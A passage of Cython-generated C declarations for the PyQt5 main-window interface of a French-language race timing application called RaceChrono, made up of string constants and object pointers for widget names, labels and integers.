static const char __pyx_k_font_10pt_Bitstream_Charter[] = "font: 10pt \"Bitstream Charter\";"; static const char __pyx_k_setHorizontalScrollBarPolicy[] = "setHorizontalScrollBarPolicy"; static const char __pyx_k_DOCTYPE_HTML_PUBLIC_W3C_DTD_HTM[] = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\np, li { white-space: pre-wrap; }\n</style></head><body style=\" font-family:'DejaVu Sans'; font-size:10pt; font-weight:400; font-style:normal;\">\n<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>"; static const char __pyx_k_RaceChrono_c_Yves_Huguenin_2018[] = "RaceChrono (c) <NAME> 2018"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/gui/Ui_MainWindow.py"; static PyObject *__pyx_kp_u_00000; static PyObject *__pyx_kp_u_0000000000; static PyObject *__pyx_n_s_AdjustToContents; static PyObject *__pyx_n_s_AdjustToContentsOnFirstShow; static PyObject *__pyx_n_u_Adresse; static PyObject *__pyx_n_u_Ajouter; static PyObject *__pyx_n_s_AlignCenter; static PyObject *__pyx_n_s_AlignTrailing; static PyObject *__pyx_n_s_AlignVCenter; static PyObject *__pyx_n_s_ArrowCursor; static PyObject *__pyx_n_s_B_Define; static PyObject *__pyx_n_u_B_Define; static PyObject *__pyx_n_s_B_Define_2; static PyObject *__pyx_n_u_B_Define_2; static PyObject *__pyx_n_s_B_Start; static PyObject *__pyx_n_u_B_Start; static PyObject *__pyx_n_s_B_Start_2; static PyObject *__pyx_n_u_B_Start_2; static PyObject *__pyx_n_s_B_Stop; static PyObject *__pyx_n_u_B_Stop; static PyObject *__pyx_n_s_B_Stop_2; static PyObject *__pyx_n_u_B_Stop_2; static PyObject *__pyx_kp_u_Bitstream_Charter; static PyObject *__pyx_n_u_Cartons; static PyObject *__pyx_n_u_Catgorie; static PyObject *__pyx_n_u_Catgories; static PyObject *__pyx_n_s_ClickFocus; static PyObject *__pyx_kp_u_Co_urses; static PyObject *__pyx_n_u_Concurrents; static PyObject *__pyx_kp_u_Concurrents_2; static PyObject *__pyx_n_s_CopyAction; static PyObject *__pyx_n_u_Course; static PyObject *__pyx_n_u_Courses; static PyObject *__pyx_kp_u_Ctrl_Q; static PyObject *__pyx_kp_u_DOCTYPE_HTML_PUBLIC_W3C_DTD_HTM; static PyObject *__pyx_kp_u_Date_naissance; static PyObject *__pyx_kp_u_Decode_Pos; static PyObject *__pyx_kp_u_DejaVu_Sans; static PyObject *__pyx_n_u_Dernier; static PyObject *__pyx_n_s_DontWrapRows; static PyObject *__pyx_n_u_Dpart; static PyObject *__pyx_n_u_Dure; static PyObject *__pyx_kp_u_E_Mail; static PyObject *__pyx_n_u_Effacer; static PyObject *__pyx_kp_u_Enregister; static PyObject *__pyx_kp_u_Enregistrer_Sous; static PyObject *__pyx_n_s_Expanding; static PyObject *__pyx_n_u_Fichier; static PyObject *__pyx_n_s_FieldRole; static PyObject *__pyx_n_s_FieldsStayAtSizeHint; static PyObject *__pyx_n_s_Fixed; static PyObject *__pyx_n_s_French; static PyObject *__pyx_n_s_ImhDate; static PyObject *__pyx_n_s_ImhDialableCharactersOnly; static PyObject *__pyx_n_s_ImhDigitsOnly; static PyObject *__pyx_n_s_ImhEmailCharactersOnly; static PyObject *__pyx_n_s_ImhFormattedNumbersOnly; static PyObject *__pyx_n_s_ImhMultiLine; static PyObject *__pyx_n_s_ImhNone; static PyObject *__pyx_n_s_ImhPreferLatin; static PyObject *__pyx_n_s_ImhPreferNumbers; static PyObject *__pyx_n_s_ItemIsEnabled; static PyObject *__pyx_n_s_ItemIsSelectable; static PyObject *__pyx_n_s_ItemIsUserCheckable; static PyObject *__pyx_n_s_L_RList; static PyObject *__pyx_n_u_L_RList; static PyObject *__pyx_n_s_L_racerlist; static PyObject *__pyx_n_u_L_racerlist; static PyObject *__pyx_n_s_LabelRole; static PyObject *__pyx_n_u_LapTime; static PyObject *__pyx_n_u_Laps; static PyObject *__pyx_n_u_Laptime; static PyObject *__pyx_kp_u_Licence_s; static PyObject *__pyx_n_u_Licences; static PyObject *__pyx_n_s_ListMode; static PyObject *__pyx_n_u_MX1; static PyObject *__pyx_n_s_MainWindow; static PyObject *__pyx_n_u_MainWindow; static PyObject *__pyx_n_u_Marque; static PyObject *__pyx_n_s_Maximum; static PyObject *__pyx_n_u_Meilleur; static PyObject *__pyx_kp_u_Menu_Options; static PyObject *__pyx_n_u_Mini; static PyObject *__pyx_n_s_Minimum; static PyObject *__pyx_kp_u_Modeles_Courses; static PyObject *__pyx_n_u_Moniteur; static PyObject *__pyx_n_s_MultiSelection; static PyObject *__pyx_n_s_NoButtons; static PyObject *__pyx_n_s_NoEditTriggers; static PyObject *__pyx_n_s_NoFrame; static PyObject *__pyx_n_u_Nom; static PyObject *__pyx_kp_u_Nom_Prnom_Concurrent; static PyObject *__pyx_kp_u_Nouvelle_Course; static PyObject *__pyx_kp_u_Npa_Localit; static PyObject *__pyx_kp_u_Numro; static PyObject *__pyx_n_u_Numro_2; static PyObject *__pyx_kp_u_Numro_course; static PyObject *__pyx_kp_u_Ouvrire; static PyObject *__pyx_n_s_PB_TimeRace; static PyObject *__pyx_n_u_PB_TimeRace; static PyObject *__pyx_n_s_PB_TimeRace_2; static PyObject *__pyx_n_u_PB_TimeRace_2; static PyObject *__pyx_n_s_P_Laptime; static PyObject *__pyx_n_u_P_Laptime; static PyObject *__pyx_n_s_P_Race; static PyObject *__pyx_n_u_P_Race; static PyObject *__pyx_n_u_Participants; static PyObject *__pyx_n_u_Pays; static PyObject *__pyx_kp_u_Priv; static PyObject *__pyx_n_u_Prnom; static PyObject *__pyx_n_u_Pro; static PyObject *__pyx_n_s_PyQt5; static PyObject *__pyx_n_s_QAbstractItemView; static PyObject *__pyx_n_s_QAbstractScrollArea; static PyObject *__pyx_n_s_QAbstractSpinBox; static PyObject *__pyx_n_s_QAction; static PyObject *__pyx_n_s_QComboBox; static PyObject *__pyx_n_s_QCoreApplication; static PyObject *__pyx_n_s_QCursor; static PyObject *__pyx_n_s_QDate; static PyObject *__pyx_n_s_QDateEdit; static PyObject *__pyx_n_s_QDateTime; static PyObject *__pyx_n_s_QFont; static PyObject *__pyx_n_s_QFormLayout; static PyObject *__pyx_n_s_QFrame; static PyObject *__pyx_n_s_QGridLayout; static PyObject *__pyx_n_s_QHBoxLayout; static PyObject *__pyx_n_s_QLabel; static PyObject *__pyx_n_s_QLayout; static PyObject *__pyx_n_s_QLineEdit; static PyObject *__pyx_n_s_QListView; static PyObject *__pyx_n_s_QListWidget; static PyObject *__pyx_n_s_QLocale; static PyObject *__pyx_n_s_QMenu; static PyObject *__pyx_n_s_QMenuBar; static PyObject *__pyx_n_s_QMetaObject; static PyObject *__pyx_n_s_QProgressBar; static PyObject *__pyx_n_s_QPushButton; static PyObject *__pyx_n_s_QRect; static PyObject *__pyx_n_s_QScrollArea; static PyObject *__pyx_n_s_QSize; static PyObject *__pyx_n_s_QSizePolicy; static PyObject *__pyx_n_s_QSpacerItem; static PyObject *__pyx_n_s_QStatusBar; static PyObject *__pyx_n_s_QTabWidget; static PyObject *__pyx_n_s_QTableWidget; static PyObject *__pyx_n_s_QTableWidgetItem; static PyObject *__pyx_n_s_QTextEdit; static PyObject *__pyx_n_s_QTime; static PyObject *__pyx_n_s_QToolBox; static PyObject *__pyx_n_s_QToolButton; static PyObject *__pyx_n_s_QTreeWidget; static PyObject *__pyx_n_s_QTreeWidgetItem; static PyObject *__pyx_n_s_QVBoxLayout; static PyObject *__pyx_n_s_QWidget; static PyObject *__pyx_n_s_Qt; static PyObject *__pyx_n_s_QtCore; static PyObject *__pyx_n_s_QtGui; static PyObject *__pyx_n_s_QtWidgets; static PyObject *__pyx_n_s_QuitRole; static PyObject *__pyx_kp_u_Quit_le_programme; static PyObject *__pyx_kp_u_Quitter; static PyObject *__pyx_n_s_RB_Add; static PyObject *__pyx_n_u_RB_Add; static PyObject *__pyx_n_s_RB_Del; static PyObject *__pyx_n_u_RB_Del; static PyObject *__pyx_n_s_RR_Categorie; static PyObject *__pyx_n_u_RR_Categorie; static PyObject *__pyx_n_s_RR_City; static PyObject *__pyx_n_u_RR_City; static PyObject *__pyx_n_s_RR_Npa; static PyObject *__pyx_n_u_RR_Npa; static PyObject *__pyx_n_s_RR_Pays; static PyObject *__pyx_n_u_RR_Pays; static PyObject *__pyx_n_s_RR_date; static PyObject *__pyx_n_u_RR_date; static PyObject *__pyx_n_s_RR_findNumber; static PyObject *__pyx_n_u_RR_findNumber; static PyObject *__pyx_n_s_RR_firstname; static PyObject *__pyx_n_u_RR_firstname; static PyObject *__pyx_n_s_RR_lastname; static PyObject *__pyx_n_u_RR_lastname; static PyObject *__pyx_n_s_RR_licences; static PyObject *__pyx_n_u_RR_licences; static PyObject *__pyx_n_s_RR_number; static PyObject *__pyx_n_u_RR_number; static PyObject *__pyx_n_s_RR_transponder; static PyObject *__pyx_n_u_RR_transponder; static PyObject *__pyx_n_u_R_Address; static PyObject *__pyx_n_s_R_City; static PyObject *__pyx_n_u_R_City; static PyObject *__pyx_n_s_R_EMail; static PyObject *__pyx_n_u_R_EMail; static PyObject *__pyx_n_u_R_FirstName; static PyObject *__pyx_n_u_R_LastName; static PyObject *__pyx_n_u_R_Localit; static PyObject *__pyx_n_s_R_Npa; static PyObject *__pyx_n_u_R_Npa; static PyObject *__pyx_n_s_R_Pays; static PyObject *__pyx_n_u_R_Pays; static PyObject *__pyx_n_s_R_RaceLive; static PyObject *__pyx_n_u_R_RaceLive; static PyObject *__pyx_n_s_R_RaceLive_2; static PyObject *__pyx_n_u_R_RaceLive_2; static PyObject *__pyx_n_s_R_Urgence; static PyObject *__pyx_n_u_R_Urgence; static PyObject *__pyx_n_s_R_address; static PyObject *__pyx_n_u_R_address; static PyObject *__pyx_n_s_R_brandMenu; static PyObject *__pyx_n_u_R_brandMenu; static PyObject *__pyx_n_s_R_date; static PyObject *__pyx_n_u_R_date; static PyObject *__pyx_n_s_R_firstname; static PyObject *__pyx_n_u_R_firstname; static PyObject *__pyx_n_s_R_lastname; static PyObject *__pyx_n_u_R_lastname; static PyObject *__pyx_n_s_R_licences; static PyObject *__pyx_n_u_R_licences; static PyObject *__pyx_n_s_R_number; static PyObject *__pyx_n_u_R_number; static PyObject *__pyx_kp_u_R_sultats; static PyObject *__pyx_n_s_R_telephone; static PyObject *__pyx_n_u_R_telephone; static PyObject *__pyx_n_s_R_transponder; static PyObject *__pyx_n_u_R_transponder; static PyObject *__pyx_kp_u_RaceChrono_c_Yves_Huguenin_2018; static PyObject *__pyx_n_s_RightToLeft; static PyObject *__pyx_n_u_Rsultats; static PyObject *__pyx_n_u_STOP; static PyObject *__pyx_kp_u_Sauvegade_des_Rsultats; static PyObject *__pyx_n_s_ScrollBarAlwaysOff; static PyObject *__pyx_n_s_ScrollBarAlwaysOn; static PyObject *__pyx_n_s_ScrollPerItem; static PyObject *__pyx_n_s_SelectItems; static PyObject *__pyx_n_s_SelectRows; static PyObject *__pyx_n_s_SetMaximumSize; static PyObject *__pyx_n_s_SetMinimumSize; static PyObject *__pyx_n_s_SingleSelection; static PyObject *__pyx_n_u_Sorting; static PyObject *__pyx_n_s_SpanningRole; static PyObject *__pyx_n_s_StyledPanel; static PyObject *__pyx_n_s_Sunken; static PyObject *__pyx_n_s_Switzerland; static PyObject *__pyx_n_s_TM_T_passage; static PyObject *__pyx_n_u_TM_T_passage; static PyObject *__pyx_n_s_T_Category; static PyObject *__pyx_n_u_T_Category; static PyObject *__pyx_n_s_T_Monitor; static PyObject *__pyx_n_u_T_Monitor; static PyObject *__pyx_n_s_T_Race; static PyObject *__pyx_n_u_T_Race; static PyObject *__pyx_n_s_T_RaceModel; static PyObject *__pyx_n_u_T_RaceModel; static PyObject *__pyx_n_s_T_Racer; static PyObject *__pyx_n_u_T_Racer; static PyObject *__pyx_n_s_T_Racer_Race; static PyObject *__pyx_n_u_T_Racer_Race; static PyObject *__pyx_n_s_T_Results; static PyObject *__pyx_n_u_T_Results; static PyObject *__pyx_n_s_Tab_Container; static PyObject *__pyx_n_u_Tab_Container; static PyObject *__pyx_n_u_Temps; static PyObject *__pyx_kp_u_TimeCode; static PyObject *__pyx_kp_u_Tlphones; static PyObject *__pyx_n_u_Top; static PyObject *__pyx_n_u_Transpondeur; static PyObject *__pyx_n_s_Ui_MainWindow; static PyObject *__pyx_n_s_Ui_MainWindow_retranslateUi; static PyObject *__pyx_n_s_Ui_MainWindow_setupUi; static PyObject *__pyx_n_s_Unchecked; static PyObject *__pyx_kp_u_Urgence; static PyObject *__pyx_kp_u_Waiting_for_start; static PyObject *__pyx_kp_u__140; static PyObject *__pyx_kp_u__145; static PyObject *__pyx_kp_u__9; static PyObject *__pyx_n_s_actionEnregister; static PyObject *__pyx_n_u_actionEnregister; static PyObject *__pyx_n_s_actionEnregistrer_Sous; static PyObject *__pyx_n_u_actionEnregistrer_Sous; static PyObject *__pyx_n_s_actionNouvelle_Course; static PyObject *__pyx_n_u_actionNouvelle_Course; static PyObject *__pyx_n_s_actionOuvrire; static PyObject *__pyx_n_u_actionOuvrire; static PyObject *__pyx_n_s_actionQuitter; static PyObject *__pyx_n_u_actionQuitter; static PyObject *__pyx_n_s_addAction; static PyObject *__pyx_n_s_addItem; static PyObject *__pyx_n_s_addLayout; static PyObject *__pyx_n_s_addSeparator; static PyObject *__pyx_n_s_addTab; static PyObject *__pyx_n_s_addWidget; static PyObject *__pyx_n_s_centralwidget; static PyObject *__pyx_n_u_centralwidget; static PyObject *__pyx_n_s_child; static PyObject *__pyx_n_s_connect; static PyObject *__pyx_n_s_connectSlotsByName; static PyObject *__pyx_n_s_currentChanged; static PyObject *__pyx_kp_u_dd_MMMM_yyyy; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_findNumber; static PyObject *__pyx_n_u_findNumber; static PyObject *__pyx_n_s_font; static PyObject *__pyx_kp_u_font_10pt_Bitstream_Charter; static PyObject *__pyx_n_s_formLayout; static PyObject *__pyx_n_u_formLayout; static PyObject *__pyx_n_s_formLayoutWidget; static PyObject *__pyx_n_u_formLayoutWidget; static PyObject *__pyx_n_s_formLayoutWidget_3; static PyObject *__pyx_n_u_formLayoutWidget_3; static PyObject *__pyx_n_s_formLayout_3; static PyObject *__pyx_n_u_formLayout_3; static PyObject *__pyx_n_s_gridLayout; static PyObject *__pyx_n_u_gridLayout; static PyObject *__pyx_n_s_gridLayoutWidget; static PyObject *__pyx_n_u_gridLayoutWidget; static PyObject *__pyx_n_s_gridLayoutWidget_3; static PyObject *__pyx_n_u_gridLayoutWidget_3; static PyObject *__pyx_n_s_gridLayout_3; static PyObject *__pyx_n_u_gridLayout_3; static PyObject *__pyx_n_s_hasHeightForWidth; static PyObject *__pyx_n_s_headerItem; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_horizontalHeader; static PyObject *__pyx_n_s_horizontalHeaderItem; static PyObject *__pyx_n_s_horizontalLayout; static PyObject *__pyx_n_u_horizontalLayout; static PyObject *__pyx_n_s_horizontalLayout_2; static PyObject *__pyx_n_u_horizontalLayout_2; static PyObject *__pyx_n_s_horizontalLayout_3; static PyObject *__pyx_n_u_horizontalLayout_3; static PyObject *__pyx_n_s_horizontalLayout_4; static PyObject *__pyx_n_u_horizontalLayout_4; static PyObject *__pyx_n_s_horizontalLayout_5; static PyObject *__pyx_n_u_horizontalLayout_5; static PyObject *__pyx_n_s_horizontalLayout_7; static PyObject *__pyx_n_u_horizontalLayout_7; static PyObject *__pyx_n_s_horizontalLayout_8; static PyObject *__pyx_n_u_horizontalLayout_8; static PyObject *__pyx_n_s_horizontalLayout_9; static PyObject *__pyx_n_u_horizontalLayout_9; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_indexOf; static PyObject *__pyx_n_u_inputMask; static PyObject *__pyx_n_u_int; static PyObject *__pyx_n_s_isSortingEnabled; static PyObject *__pyx_n_u_isWrapping; static PyObject *__pyx_n_s_item; static PyObject *__pyx_n_s_item_0; static PyObject *__pyx_n_s_item_1; static PyObject *__pyx_n_s_label; static PyObject *__pyx_n_u_label; static PyObject *__pyx_n_s_label_10; static PyObject *__pyx_n_u_label_10; static PyObject *__pyx_n_s_label_11; static PyObject *__pyx_n_u_label_11; static PyObject *__pyx_n_s_label_12; static PyObject *__pyx_n_u_label_12; static PyObject *__pyx_n_s_label_13; static PyObject *__pyx_n_u_label_13; static PyObject *__pyx_n_s_label_14; static PyObject *__pyx_n_u_label_14; static PyObject *__pyx_n_s_label_15; static PyObject *__pyx_n_u_label_15; static PyObject *__pyx_n_s_label_16; static PyObject *__pyx_n_u_label_16; static PyObject *__pyx_n_s_label_17; static PyObject *__pyx_n_u_label_17; static PyObject *__pyx_n_s_label_2; static PyObject *__pyx_n_u_label_2; static PyObject *__pyx_n_s_label_3; static PyObject *__pyx_n_u_label_3; static PyObject *__pyx_n_s_label_33; static PyObject *__pyx_n_u_label_33; static PyObject *__pyx_n_s_label_34; static PyObject *__pyx_n_u_label_34; static PyObject *__pyx_n_s_label_35; static PyObject *__pyx_n_u_label_35; static PyObject *__pyx_n_s_label_37; static PyObject *__pyx_n_u_label_37; static PyObject *__pyx_n_s_label_38; static PyObject *__pyx_n_u_label_38; static PyObject *__pyx_n_s_label_39; static PyObject *__pyx_n_u_label_39; static PyObject *__pyx_n_s_label_4; static PyObject *__pyx_n_u_label_4; static PyObject *__pyx_n_s_label_45; static PyObject *__pyx_n_u_label_45; static PyObject *__pyx_n_s_label_46; static PyObject *__pyx_n_u_label_46; static PyObject *__pyx_n_s_label_47; static PyObject *__pyx_n_u_label_47; static PyObject *__pyx_n_s_label_48; static PyObject *__pyx_n_u_label_48; static PyObject *__pyx_n_s_label_6; static PyObject *__pyx_n_u_label_6; static PyObject *__pyx_n_s_label_7; static PyObject *__pyx_n_u_label_7; static PyObject *__pyx_n_s_label_8; static PyObject *__pyx_n_u_label_8; static PyObject *__pyx_n_s_layout; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_menuAction; static PyObject *__pyx_n_s_menuConcurrents; static PyObject *__pyx_n_u_menuConcurrents; static PyObject *__pyx_n_s_menuCourses; static PyObject *__pyx_n_u_menuCourses; static PyObject *__pyx_n_s_menuFfff; static PyObject *__pyx_n_u_menuFfff; static PyObject *__pyx_n_s_menuR_sultats; static PyObject *__pyx_n_u_menuR_sultats; static PyObject *__pyx_n_s_menubar; static PyObject *__pyx_n_u_menubar; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_s_object; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_released; static PyObject *__pyx_n_s_resize; static PyObject *__pyx_n_s_retranslateUi; static PyObject *__pyx_n_s_scrollArea; static PyObject *__pyx_n_u_scrollArea; static PyObject *__pyx_n_s_scrollAreaWidgetContents; static PyObject *__pyx_n_u_scrollAreaWidgetContents; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_setAcceptDrops; static PyObject *__pyx_n_s_setAcceptRichText; static PyObject *__pyx_n_s_setAccessibleDescription; static PyObject *__pyx_n_s_setAccessibleName; static PyObject *__pyx_n_s_setAlternatingRowColors; static PyObject *__pyx_n_s_setAutoFillBackground; static PyObject *__pyx_n_s_setBaseSize; static PyObject *__pyx_n_s_setBold; static PyObject *__pyx_n_s_setButtonSymbols; static PyObject *__pyx_n_s_setCalendarPopup; static PyObject *__pyx_n_s_setCascadingSectionResizes; static PyObject *__pyx_n_s_setCentralWidget; static PyObject *__pyx_n_s_setCheckState; static PyObject *__pyx_n_s_setColumnCount; static PyObject *__pyx_n_s_setContentsMargins; static PyObject *__pyx_n_s_setCornerButtonEnabled; static PyObject *__pyx_n_s_setCurrentIndex; static PyObject *__pyx_n_s_setCurrentText; static PyObject *__pyx_n_s_setCursor; static PyObject *__pyx_n_s_setDefaultDropAction; static PyObject *__pyx_n_s_setDefaultSectionSize; static PyObject *__pyx_n_s_setDisplayFormat; static PyObject *__pyx_n_s_setDocumentTitle; static PyObject *__pyx_n_s_setDragDropOverwriteMode; static PyObject *__pyx_n_s_setEditTriggers; static PyObject *__pyx_n_s_setEditable; static PyObject *__pyx_n_s_setEnabled; static PyObject *__pyx_n_s_setExpandsOnDoubleClick; static PyObject *__pyx_n_s_setFamily; static PyObject *__pyx_n_s_setFieldGrowthPolicy; static PyObject *__pyx_n_s_setFlags; static PyObject *__pyx_n_s_setFocus; static PyObject *__pyx_n_s_setFocusPolicy; static PyObject *__pyx_n_s_setFont; static PyObject *__pyx_n_s_setFormat; static PyObject *__pyx_n_s_setFrame; static PyObject *__pyx_n_s_setFrameShadow; static PyObject *__pyx_n_s_setFrameShape; static PyObject *__pyx_n_s_setGeometry; static PyObject *__pyx_n_s_setHeaderHidden; static PyObject *__pyx_n_s_setHeightForWidth; static PyObject *__pyx_n_s_setHighlightSections; static PyObject *__pyx_n_s_setHorizontalHeaderItem; static PyObject *__pyx_n_s_setHorizontalScrollBarPolicy; static PyObject *__pyx_n_s_setHorizontalScrollMode; static PyObject *__pyx_n_s_setHorizontalSpacing; static PyObject *__pyx_n_s_setHorizontalStretch; static PyObject *__pyx_n_s_setHtml; static PyObject *__pyx_n_s_setInputMask; static PyObject *__pyx_n_s_setInputMethodHints; static PyObject *__pyx_n_s_setItalic; static PyObject *__pyx_n_s_setItem; static PyObject *__pyx_n_s_setItemText; static PyObject *__pyx_n_s_setKerning; static PyObject *__pyx_n_s_setKeyboardTracking; static PyObject *__pyx_n_s_setLayout; static PyObject *__pyx_n_s_setLayoutDirection; static PyObject *__pyx_n_s_setLocale; static PyObject *__pyx_n_s_setMaxLength; static PyObject *__pyx_n_s_setMaximum; static PyObject *__pyx_n_s_setMaximumDate; static PyObject *__pyx_n_s_setMaximumDateTime; static PyObject *__pyx_n_s_setMaximumSize; static PyObject *__pyx_n_s_setMenuBar; static PyObject *__pyx_n_s_setMenuRole; static PyObject *__pyx_n_s_setMinimumSectionSize; static PyObject *__pyx_n_s_setMinimumSize; static PyObject *__pyx_n_s_setModelColumn; static PyObject *__pyx_n_s_setMouseTracking; static PyObject *__pyx_n_s_setObjectName; static PyObject *__pyx_n_s_setPlaceholderText; static PyObject *__pyx_n_s_setPointSize; static PyObject *__pyx_n_s_setProperty; static PyObject *__pyx_n_s_setReadOnly; static PyObject *__pyx_n_s_setRowCount; static PyObject *__pyx_n_s_setRowWrapPolicy; static PyObject *__pyx_n_s_setSelectionBehavior; static PyObject *__pyx_n_s_setSelectionMode; static PyObject *__pyx_n_s_setShortcut; static PyObject *__pyx_n_s_setSizeAdjustPolicy; static PyObject *__pyx_n_s_setSizeConstraint; static PyObject *__pyx_n_s_setSizePolicy; static PyObject *__pyx_n_s_setSortIndicatorShown; static PyObject *__pyx_n_s_setSortingEnabled; static PyObject *__pyx_n_s_setSpacing; static PyObject *__pyx_n_s_setSpecialValueText; static PyObject *__pyx_n_s_setStatusBar; static PyObject *__pyx_n_s_setStatusTip; static PyObject *__pyx_n_s_setStretchLastSection; static PyObject *__pyx_n_s_setStyleSheet; static PyObject *__pyx_n_s_setTabKeyNavigation; static PyObject *__pyx_n_s_setTabText; static PyObject *__pyx_n_s_setText; static PyObject *__pyx_n_s_setTextAlignment; static PyObject *__pyx_n_s_setTextVisible; static PyObject *__pyx_n_s_setTitle; static PyObject *__pyx_n_s_setToolTip; static PyObject *__pyx_n_s_setVerticalScrollBarPolicy; static PyObject *__pyx_n_s_setVerticalSpacing; static PyObject *__pyx_n_s_setVerticalStretch; static PyObject *__pyx_n_s_setViewMode; static PyObject *__pyx_n_s_setVisible; static PyObject *__pyx_n_s_setWeight; static PyObject *__pyx_n_s_setWhatsThis; static PyObject *__pyx_n_s_setWidget; static PyObject *__pyx_n_s_setWidgetResizable; static PyObject *__pyx_n_s_setWindowTitle; static PyObject *__pyx_n_s_setWordWrap; static PyObject *__pyx_n_s_setupUi; static PyObject *__pyx_n_u_showDropIndicator; static PyObject *__pyx_n_s_sizePolicy; static PyObject *__pyx_n_s_sortingEnabled; static PyObject *__pyx_n_s_spacerItem; static PyObject *__pyx_n_s_spacerItem1; static PyObject *__pyx_n_s_statusbar; static PyObject *__pyx_n_u_statusbar; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_u_text; static PyObject *__pyx_n_s_toolBox; static PyObject *__pyx_n_u_toolBox; static PyObject *__pyx_n_s_topLevelItem; static PyObject *__pyx_n_s_translate; static PyObject *__pyx_n_s_translate_2; static PyObject *__pyx_n_s_update; static PyObject *__pyx_n_u_value; static PyObject *__pyx_n_s_verticalHeader; static PyObject *__pyx_n_s_verticalLayout; static PyObject *__pyx_n_u_verticalLayout; static PyObject *__pyx_n_s_verticalLayoutWidget; static PyObject *__pyx_n_u_verticalLayoutWidget; static PyObject *__pyx_n_s_verticalLayoutWidget_2; static PyObject *__pyx_n_u_verticalLayoutWidget_2; static PyObject *__pyx_n_s_verticalLayoutWidget_3; static PyObject *__pyx_n_u_verticalLayoutWidget_3; static PyObject *__pyx_n_s_verticalLayout_P_Laptime; static PyObject *__pyx_n_u_verticalLayout_P_Laptime; static PyObject *__pyx_n_s_verticalLayout_P_Race; static PyObject *__pyx_n_u_verticalLayout_P_Race; static PyObject *__pyx_pf_13Ui_MainWindow_13Ui_MainWindow_setupUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_MainWindow); /* proto */ static PyObject *__pyx_pf_13Ui_MainWindow_13Ui_MainWindow_2retranslateUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_MainWindow); /* proto */ static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_2; static PyObject *__pyx_int_3; static PyObject *__pyx_int_4; static PyObject *__pyx_int_5; static PyObject *__pyx_int_6; static PyObject *__pyx_int_7; static PyObject *__pyx_int_8; static PyObject *__pyx_int_9; static PyObject *__pyx_int_10; static PyObject *__pyx_int_11; static PyObject *__pyx_int_12; static PyObject *__pyx_int_14; static PyObject *__pyx_int_15; static PyObject *__pyx_int_16; static PyObject *__pyx_int_18; static PyObject *__pyx_int_19; static PyObject *__pyx_int_20; static PyObject *__pyx_int_21; static PyObject *__pyx_int_22; static PyObject *__pyx_int_23; static PyObject *__pyx_int_25; static PyObject *__pyx_int_27; static PyObject *__pyx_int_40; static PyObject *__pyx_int_41; static PyObject *__pyx_int_50; static PyObject *__pyx_int_59; static PyObject *__pyx_int_60; static PyObject *__pyx_int_75; static PyObject *__pyx_int_80; static PyObject *__pyx_int_100; static PyObject *__pyx_int_256; static PyObject *__pyx_int_259; static PyObject *__pyx_int_260; static PyObject *__pyx_int_261; static PyObject *__pyx_int_290; static PyObject *__pyx_int_420; static PyObject *__pyx_int_471; static PyObject *__pyx_int_477; static PyObject *__pyx_int_490; static PyObject *__pyx_int_491; static PyObject *__pyx_int_521; static PyObject *__pyx_int_529; static PyObject *__pyx_int_531; static PyObject *__pyx_int_560; static PyObject *__pyx_int_600; static PyObject *__pyx_int_791; static PyObject *__pyx_int_800; static PyObject *__pyx_int_801; static PyObject *__pyx_int_821; static PyObject *__pyx_int_1131; static PyObject *__pyx_int_7918; static PyObject *__pyx_int_16777215; static PyObject *__pyx_int_neg_1; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__5; static PyObject *__pyx_tuple__6; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__8; static PyObject *__pyx_tuple__10; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__12; static PyObject *__pyx_tuple__13; static PyObject *__pyx_tuple__14; static PyObject *__pyx_tuple__15; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__17; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__19; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__21; static PyObject *__pyx_tuple__22; static PyObject *__pyx_tuple__23; static PyObject *__pyx_tuple__24; static PyObject *__pyx_tuple__25; static PyObject *__pyx_tuple__26; static PyObject *__pyx_tuple__27; static PyObject *__pyx_tuple__28; static PyObject *__pyx_tuple__29; static PyObject *__pyx_tuple__30; static PyObject *__pyx_tuple__31; static PyObject *__pyx_tuple__32; static PyObject *__pyx_tuple__33; static PyObject *__pyx_tuple__34; static PyObject *__pyx_tuple__35; static PyObject *__pyx_tuple__36; static PyObject *__pyx_tuple__37; static PyObject *__pyx_tuple__38; static PyObject *__pyx_tuple__39; static PyObject *__pyx_tuple__40; static PyObject *__pyx_tuple__41; static PyObject *__pyx_tuple__42; static PyObject *__pyx_tuple__43; static PyObject *__pyx_tuple__44; static PyObject *__pyx_tuple__45; static PyObject *__pyx_tuple__46; static PyObject *__pyx_tuple__47; static PyObject *__pyx_tuple__48; static PyObject *__pyx_tuple__49; static PyObject *__pyx_tuple__50; static PyObject *__pyx_tuple__51; static PyObject *__pyx_tuple__52; static PyObject *__pyx_tuple__53; static PyObject *__pyx_tuple__54; static PyObject *__pyx_tuple__55; static PyObject *__pyx_tuple__56; static PyObject *__pyx_tuple__57; static PyObject *__pyx_tuple__58; static PyObject *__pyx_tuple__59; static PyObject *__pyx_tuple__60; static PyObject *__pyx_tuple__61; static PyObject *__pyx_tuple__62; static PyObject *__pyx_tuple__63; static PyObject 